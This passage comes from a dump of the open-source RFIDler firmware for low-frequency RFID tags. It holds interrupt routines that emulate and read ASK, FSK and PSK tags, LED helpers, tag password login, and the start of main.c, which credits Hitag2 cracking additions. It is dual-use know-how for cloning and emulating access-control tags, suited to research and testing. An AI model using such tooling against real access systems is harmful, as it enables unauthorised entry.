EMU_SubCarrier_T1)))\n                {\n                    // set the next bit value\n                    EMU_ThisBit= *(EMU_Data++);\n                    count= 0;\n                }\n            }\n            // if current bit is a '0'\n            else\n            {\n                if(!(count % EMU_SubCarrier_T0))\n                    COIL_OUT= !COIL_OUT;\n                // rounded bit period?\n                if (!(count % ((EMU_DataBitRate / EMU_SubCarrier_T0) * EMU_SubCarrier_T0)))\n                {\n                    // set the next bit value\n                    EMU_ThisBit= *(EMU_Data++);\n                    count= 0;\n                }\n            }\n            break;\n\n        // TODO: PSK2, PSK3\n        // PSK1 - we get called N times per bit\n        // create sub-carrier\n        // half-bit phase shift if bit changes\n        case MOD_MODE_PSK1:\n            // output sub-carrier?\n            if(!(count % EMU_SubCarrier_T0))\n                COIL_OUT= !COIL_OUT;\n            // output current bit\n            else\n                COIL_OUT= (EMU_ThisBit ^ RFIDlerConfig.Invert);\n            // is this is a bit period?\n            if (count == EMU_DataBitRate)\n            {\n                // set the next bit value\n                EMU_ThisBit= *(EMU_Data++);\n                count= 0;\n            }\n            break;\n\n        default:\n            break;\n    }\n//#ifdef RFIDLER_DEBUG\n//    // show modulator\n//    DEBUG_PIN_3= COIL_OUT;\n//#endif\n}\n\n// DATA reading ISR\nvoid __ISR(_TIMER_4_VECTOR, ipl6auto) HW_read_bit(void)\n{\n    unsigned int time;\n    static char out;\n    BOOL fskread= FALSE;\n\n    // show trigger moment (you must also set end of routine debugger statement)\n    DEBUG_PIN_1= HIGH;\n    \n    // debugging - monitor with a logic analyser\n    // show read period\n    DEBUG_PIN_2= HIGH;\n\n    // reset interrupt\n    mT4ClearIntFlag();\n\n    // toggle bit period flag for analogue sampler\n    ReaderPeriod= !ReaderPeriod;\n\n    if(FakeRead)\n        return;\n\n    // don't do anything unless we've got data to read - we may have been left running due to higher level error.\n    if(!HW_Bits)\n    {\n        Reader_Bit_Count= 0L;\n        Previous= -1;\n        stop_HW_reader_ISR();\n        return;\n    }\n\n    // some tags lead a read with a fixed bit pattern that do not form part of the data, so skip if required (e.g. T5567)\n    if(HW_Skip_Bits)\n    {\n        --HW_Skip_Bits;\n        return;\n    }\n\n     DEBUG_PIN_1= LOW;\n     \n    // show data value\n    //DEBUG_PIN_3= READER_DATA;\n\n    switch(RFIDlerConfig.Modulation)\n    {\n        case MOD_MODE_ASK_OOK:\n\n            // get current bit value\n            out= READER_DATA;\n                        \n            // if manchester encoded and first bit, then add a half bit that we\n            // lost when synchronising\n            if(!Reader_Bit_Count && RFIDlerConfig.Manchester)\n                ++Reader_Bit_Count;\n\n            // check for manchester encoding sync/errors\n            if(RFIDlerConfig.Manchester && Reader_Bit_Count)\n            {\n                // the 2nd half bit may not be equal to the 1st\n                // this error is allowed to occur exactly once, in which case we\n                // are out of sync so we slip timing by half a bit\n                if(Reader_Bit_Count % 2 && out == Previous)\n                {\n                    //DEBUG_PIN_4= !DEBUG_PIN_4;\n                    // error LED on\n                    mLED_Error_On();\n                    if(Manchester_Error)\n                    {\n                        //DEBUG_PIN_4= !DEBUG_PIN_4;\n                        // 2 strikes and we fail!\n                        Reader_Bit_Count= 0L;\n                        Previous= -1;\n                        stop_HW_reader_ISR();\n                        return;\n                    }\n                    else\n                    {\n                        //DEBUG_PIN_4= !DEBUG_PIN_4;\n                        // 1st error - reset data and start again, now offset by a half bit.\n                        Manchester_Error= TRUE;\n                        //DEBUG_PIN_2= LOW;\n                        EMU_Data -= (Reader_Bit_Count / 2L);\n                        Reader_Bit_Count= 1L;\n                        // successful read resets timeout\n                        WriteTimer5(0);\n                        return;\n                    }\n                }\n            }\n            \n            // now set data bit\n\n            // biphase is 1 if mid-bit change or 0 if no mid-bit change\n            if(RFIDlerConfig.BiPhase && Reader_Bit_Count % 2L)\n            {\n                if(Previous == out)\n                    *(EMU_Data++)= 0x00 ^ RFIDlerConfig.Invert;\n                else\n                    *(EMU_Data++)= 0x01 ^ RFIDlerConfig.Invert;\n               //DEBUG_PIN_1= *(EMU_Data - 1);\n               // successful read resets timeout\n               WriteTimer5(0);\n            }\n\n            // read data direct for normal ASK\n            if(!RFIDlerConfig.Manchester && !RFIDlerConfig.BiPhase)\n            {\n                //DEBUG_PIN_1= out;\n                *(EMU_Data++)= out ^ RFIDlerConfig.Invert;\n                // successful read resets timeout\n                WriteTimer5(0);\n            }\n\n            // read only 2nd half of bit if manchester\n            if(RFIDlerConfig.Manchester && Reader_Bit_Count % 2L)\n            {\n                //DEBUG_PIN_1= out;\n                // always invert as we are now reading 2nd half bit, so opposite value\n                *(EMU_Data++)= !(out ^ RFIDlerConfig.Invert);\n                // successful read resets timeout\n                WriteTimer5(0);\n            }\n\n            Previous= out;\n\n            break;\n\n        case MOD_MODE_FSK1:\n        case MOD_MODE_FSK2:\n            // to read FSK we will measure a pulse width. we must stop before end of bit period so we don't\n            // get caught by the next interrupt. accordingly our time period is shortened by 20%, but\n            // that should be OK as we only need to see a single pulse.\n            // IN HDX mode we read from the SNIFFER coil instead of the READER\n            //DEBUG_PIN_4= !DEBUG_PIN_4;\n            //time= CONVERT_TO_TICKS(RFIDlerConfig.FrameClock * (RFIDlerConfig.DataRate - (RFIDlerConfig.DataRate / 5)));\n            time= RFIDlerConfig.FrameClock * (RFIDlerConfig.DataRate - (RFIDlerConfig.DataRate / 5));\n            GetTimer_us(RESET);\n            // measure 2nd pulse\n            while(GetTimer_us(NO_RESET) < time && !fskread)\n            {\n              fskread= TRUE;\n              //DEBUG_PIN_4= !DEBUG_PIN_4;\n                // skip to first pulse\n              while(READER_DATA)\n                    if(GetTimer_us(NO_RESET) > time)\n                    {\n                        fskread= FALSE;\n                        break;\n                    }\n                while(!READER_DATA)\n                    if(GetTimer_us(NO_RESET) > time)\n                    {\n                        fskread= FALSE;\n                        break;\n                    }\n                // skip first pulse\n                while(READER_DATA)\n                    if(GetTimer_us(NO_RESET) > time)\n                    {\n                        fskread= FALSE;\n                        break;\n                    }\n                while(!READER_DATA)\n                    if(GetTimer_us(NO_RESET) > time)\n                    {\n                        fskread= FALSE;\n                        break;\n                    }\n                // measure second pulse\n                GetTimer_us(RESET);\n                //DEBUG_PIN_4= !DEBUG_PIN_4;\n                while(READER_DATA)\n                    if(GetTimer_us(NO_RESET) > time)\n                    {\n                        fskread= FALSE;\n                        break;\n                    }\n            }\n            //DEBUG_PIN_4= !DEBUG_PIN_4;\n            // successful read resets timeout\n            if(fskread)\n                *(EMU_Data++)= (BYTE) GetTimer_us(RESET); // get pulsewidth in uS\n            break;\n\n        // TODO: PSK2, PSK3\n        case MOD_MODE_PSK1:\n            // READER_DATA goes high when a phase change occurs\n            // we toggle bit value on phase change\n\n            // data line should go high at start of bit period, but to allow for some lag\n            // we will wait for up to a full frame clock just to be sure\n            time= CONVERT_TO_TICKS(RFIDlerConfig.FrameClock);\n            WriteTimer5(0);\n            while(ReadTimer5() < time)\n                if(READER_DATA)\n                    break;\n\n            // show toggle output\n            //DEBUG_PIN_1 ^= READER_DATA;\n\n            // get data\n            out ^= (READER_DATA ^ RFIDlerConfig.Invert);\n\n            // test read quality - pulsewidth wil be short if tag not correctly coupled\n            if(PSK_Min_Pulse && READER_DATA)\n            {\n                // fast reset timer\n                WriteTimer5(0);\n                //DEBUG_PIN_1 ^= 1;\n                while(READER_DATA)\n                    ;\n                time= GetTimer_us(NO_RESET);\n                if(time < PSK_Min_Pulse)\n                    PSK_Read_Error= 1;\n                //DEBUG_PIN_1 ^= 1;\n            }\n\n            *(EMU_Data++)= out;\n            // successful read resets timeout\n            WriteTimer5(0);\n            break;\n            \n        default:\n            break;\n    }\n\n    ++Reader_Bit_Count;\n\n    // debugging - reset output line\n    DEBUG_PIN_2= LOW;\n\n    // finished?\n    if(Reader_Bit_Count == HW_Bits)\n    {\n        HW_Bits= Reader_Bit_Count= 0L;\n        Previous= -1;\n        // if only 1 manchester error caught, that's OK\n        Manchester_Error= FALSE;\n        mLED_Error_Off();\n        // stop reading, but leave clock running to preserve tag state - higher level will shut down when done\n        stop_HW_reader_ISR();\n    }\n}\n\n// end optimisation\n#pragma GCC reset_options\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/led.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"led.h\"\n\nBOOL led_get(BYTE led)\n{\n    BOOL state;\n\n    switch(led)\n    {\n        case 1:\n            state= mLED_1;\n            break;\n        case 2:\n            state= mLED_2;\n            break;\n        case 3:\n            state= mLED_3;\n            break;\n        case 4:\n            state= mLED_4;\n            break;\n        case 5:\n            state= mLED_5;\n            break;\n        case 6:\n            state= mLED_6;\n            break;\n        case 7:\n            state= mLED_7;\n            break;\n        default:\n            return FALSE;\n    }\n    return state;\n}\n\nBOOL led_set(BYTE led, BOOL state)\n{\n    switch(led)\n    {\n        case 0:\n             mLED_1= state;\n             mLED_2= state;\n             mLED_3= state;\n             mLED_4= state;\n             mLED_5= state;\n             mLED_6= state;\n             mLED_7= state;\n             break;\n        case 1:\n            mLED_1= state;\n            break;\n        case 2:\n            mLED_2= state;\n            break;\n        case 3:\n            mLED_3= state;\n            break;\n        case 4:\n            mLED_4= state;\n            break;\n        case 5:\n            mLED_5= state;\n            break;\n        case 6:\n            mLED_6= state;\n            break;\n        case 7:\n            mLED_7= state;\n            break;\n        default:\n            return FALSE;\n            break;\n    }\n    return TRUE;\n}\n\nBOOL led_toggle(BYTE led)\n{\n    BOOL state;\n\n    state= led_get(led);\n    return led_set(led, !state);\n}\n\nBOOL led_on(BYTE led)\n{\n    return led_set(led, mLED_ON);\n}\n\nBOOL led_off(BYTE led)\n{\n    return led_set(led, mLED_OFF);\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/login.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include \"HardwareProfile.h\"\n#include \"em.h\"\n#include \"hitag.h\"\n#include \"login.h\"\n#include \"q5.h\"\n#include \"rfidler.h\"\n\n// login with password - user \"auth\" for crypto modes\nBOOL tag_login(unsigned int block, BYTE *response, BYTE *pwd)\n{\n    switch (RFIDlerConfig.TagType)\n    {\n        case TAG_TYPE_EM4X05:\n            return em4x05_login(response, pwd);\n            \n        case TAG_TYPE_Q5:\n        //case TAG_TYPE_T55X7:\n            return q5_login(response, pwd);\n\n        case TAG_TYPE_HITAG2:\n            return hitag2_pwd_auth(response, pwd);\n\n        default:\n            return FALSE;\n    }\n}\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/main.c",
    "content": "/***************************************************************************\r\n * A copy of the GNU GPL is appended to this file.                         *\r\n *                                                                         *\r\n * This licence is based on the nmap licence, and we express our gratitude *\r\n * for the work that went into producing it. There is no other connection  *\r\n * between RFIDler and nmap either expressed or implied.                   *\r\n *                                                                         *\r\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\r\n *                                                                         *\r\n *                                                                         *\r\n * All references to RFIDler herein imply all it's derivatives, namely:    *\r\n *                                                                         *\r\n * o RFIDler-LF Standard                                                   *\r\n * o RFIDler-LF Lite                                                       *\r\n * o RFIDler-LF Nekkid                                                     *\r\n *                                                                         *\r\n *                                                                         *\r\n * RFIDler is (C) 2013-2017 Aperture Labs Ltd.                             *\r\n *                                                                         *\r\n * This program is free software; you may redistribute and/or modify it    *\r\n * under the terms of the GNU General Public License as published by the   *\r\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\r\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\r\n * right to use, modify, and redistribute this software under certain      *\r\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\r\n * software or hardware, we sell alternative licenses                      *\r\n * (contact sales@aperturelabs.com).                                       *\r\n *                                                                         *\r\n * Note that the GPL places important restrictions on \"derivative works\",  *\r\n * yet it does not provide a detailed definition of that term.  To avoid   *\r\n * misunderstandings, we interpret that term as broadly as copyright law   *\r\n * allows.  For example, we consider an application to constitute a        *\r\n * derivative work for the purpose of this license if it does any of the   *\r\n * following with any software or content covered by this license          *\r\n * (\"Covered Software\"):                                                   *\r\n *                                                                         *\r\n * o Integrates source code from Covered Software.                         *\r\n *                                                                         *\r\n * o Is designed specifically to execute Covered Software and parse the    *\r\n * results (as opposed to typical shell or execution-menu apps, which will *\r\n * execute anything you tell them to).                                     *\r\n *                                                                         *\r\n * o Includes Covered Software in a proprietary executable installer.  The *\r\n * installers produced by InstallShield are an example of this.  Including *\r\n * RFIDler with other software in compressed or archival form does not     *\r\n * trigger this provision, provided appropriate open source decompression  *\r\n * or de-archiving software is widely available for no charge.  For the    *\r\n * purposes of this license, an installer is considered to include Covered *\r\n * Software even if it actually retrieves a copy of Covered Software from  *\r\n * another source during runtime (such as by downloading it from the       *\r\n * Internet).                                                              *\r\n *                                                                         *\r\n * o Links (statically or dynamically) to a library which does any of the  *\r\n * above.                                                                  *\r\n *                                                                         *\r\n * o Executes a helper program, module, or script to do any of the above.  *\r\n *                                                                         *\r\n * This list is not exclusive, but is meant to clarify our interpretation  *\r\n * of derived works with some common examples.  Other people may interpret *\r\n * the plain GPL differently, so we consider this a special exception to   *\r\n * the GPL that we apply to Covered Software.  Works which meet any of     *\r\n * these conditions must conform to all of the terms of this license,      *\r\n * particularly including the GPL Section 3 requirements of providing      *\r\n * source code and allowing free redistribution of the work as a whole.    *\r\n *                                                                         *\r\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\r\n * permission to link the code of this program with any version of the     *\r\n * OpenSSL library which is distributed under a license identical to that  *\r\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\r\n * linked combinations including the two.                                  *\r\n *                                                                         *\r\n * Any redistribution of Covered Software, including any derived works,    *\r\n * must obey and carry forward all of the terms of this license, including *\r\n * obeying all GPL rules and restrictions.  For example, source code of    *\r\n * the whole work must be provided and free redistribution must be         *\r\n * allowed.  All GPL references to \"this License\", are to be treated as    *\r\n * including the terms and conditions of this license text as well.        *\r\n *                                                                         *\r\n * Because this license imposes special exceptions to the GPL, Covered     *\r\n * Work may not be combined (even as part of a larger work) with plain GPL *\r\n * software.  The terms, conditions, and exceptions of this license must   *\r\n * be included as well.  This license is incompatible with some other open *\r\n * source licenses as well.  In some cases we can relicense portions of    *\r\n * RFIDler or grant special permissions to use it in other open source     *\r\n * software.  Please contact sales@aperturelabs.com with any such requests.*\r\n * Similarly, we don't incorporate incompatible open source software into  *\r\n * Covered Software without special permission from the copyright holders. *\r\n *                                                                         *\r\n * If you have any questions about the licensing restrictions on using     *\r\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\r\n * offer alternative license to integrate RFIDler into proprietary         *\r\n * applications and appliances.  These contracts have been sold to dozens  *\r\n * of software vendors, and generally include a perpetual license as well  *\r\n * as providing for priority support and updates.  They also fund the      *\r\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\r\n * for further information.                                                *\r\n * If you have received a written license agreement or contract for        *\r\n * Covered Software stating terms other than these, you may choose to use  *\r\n * and redistribute Covered Software under those terms instead of these.   *\r\n *                                                                         *\r\n * Source is provided to this software because we believe users have a     *\r\n * right to know exactly what a program is going to do before they run it. *\r\n * This also allows you to audit the software for security holes (none     *\r\n * have been found so far).                                                *\r\n *                                                                         *\r\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\r\n * and add new features.  You are highly encouraged to send your changes   *\r\n * to the RFIDler mailing list for possible incorporation into the         *\r\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\r\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\r\n * them into the RFIDler source code repository, it is understood (unless  *\r\n * you specify otherwise) that you are offering the RFIDler Project        *\r\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\r\n * modify, and relicense the code.  RFIDler will always be available Open  *\r\n * Source, but this is important because the inability to relicense code   *\r\n * has caused devastating problems for other Free Software projects (such  *\r\n * as KDE and NASM).  We also occasionally relicense the code to third     *\r\n * parties as discussed above. If you wish to specify special license      *\r\n * conditions of your contributions, just say so when you send them.       *\r\n *                                                                         *\r\n * This program is distributed in the hope that it will be useful, but     *\r\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\r\n * license file for more details (it's in a COPYING file included with     *\r\n * RFIDler, and also available from                                        *\r\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\r\n *                                                                         *\r\n ***************************************************************************/\r\n\r\n// Author: Adam Laurie <adam@aperturelabs.com>\r\n//\r\n// HITAG2 Cracking additions:\r\n// Author: Kevin Sheldrake <kev@headhacking.com>\r\n\r\n#include \"HardwareProfile.h\"\r\n\r\n#include \"GenericTypeDefs.h\"\r\n#include \"Compiler.h\"\r\n#include \"usb_config.h\"\r\n#include \"USB/usb.h\"\r\n#include \"USB/usb_device.h\"\r\n#include \"USB/usb_function_cdc.h\"\r\n\r\n#include \"uart3.h\"\r\n\r\n#include \"analogue.h\"\r\n#include \"ask.h\"\r\n#include \"auth.h\"\r\n#include \"auto.h\"\r\n#include \"clock.h\"\r\n#include \"comms.h\"\r\n#include \"config.h\"\r\n#include \"detect.h\"\r\n#include \"emulate.h\"\r\n#include \"hitag.h\"\r\n#include \"hitagcrypto.h\"\r\n#include \"hitag2crack.h\"\r\n//#include \"hitag2emu.h\"\r\n#include \"indala.h\"\r\n#include \"iso_7816.h\"\r\n#include \"login.h\"\r\n#include \"q5.h\"\r\n#include \"rfidler.h\"\r\n#include \"rwd.h\"\r\n#include \"sc_config.h\"\r\n#include \"sniff.h\"\r\n#include \"tags.h\"\r\n#include \"uid.h\"\r\n#include \"util.h\"\r\n#include \"vtag.h\"\r\n#include \"wiegand.h\"\r\n#include \"write.h\"\r\n\r\n// low level config\r\n#pragma config CP       = ON           // Code Protect\r\n#pragma config BWP      = ON           // Boot Flash Write Protect\r\n#pragma config PWP      = OFF          // Program Flash Write Protect\r\n#pragma config ICESEL   = ICS_PGx2     // ICE/ICD Comm Channel Select\r\n#pragma config DEBUG    = OFF          // Background Debugger Disable (interferes with bootloader)\r\n\r\n//globals\r\nBYTE Comms_In_Buffer[COMMS_BUFFER_SIZE];\r\nBYTE Comms_Out_Buffer[COMMS_BUFFER_SIZE];\r\nVirtualTag RFIDlerVTag;          // semi-permanent TAG data\r\nStoredConfig RFIDlerConfig;\r\nBYTE EmulationMode= MOD_MODE_NONE;\r\nBOOL SnifferMode= FALSE;\r\nBOOL WiegandOutput= FALSE;\r\nBYTE             *EMU_Reset_Data;               // Pointer to full array of bits, stored one bit per byte, '*' terminated\r\nBYTE             *EMU_Data;                     // Pointer to current location in EMU_Reset_Data\r\nBYTE             EMU_ThisBit;                   // The next data bit to transmit\r\nBYTE             EMU_SubCarrier_T0;             // Number of Frame Clocks for sub-carrier 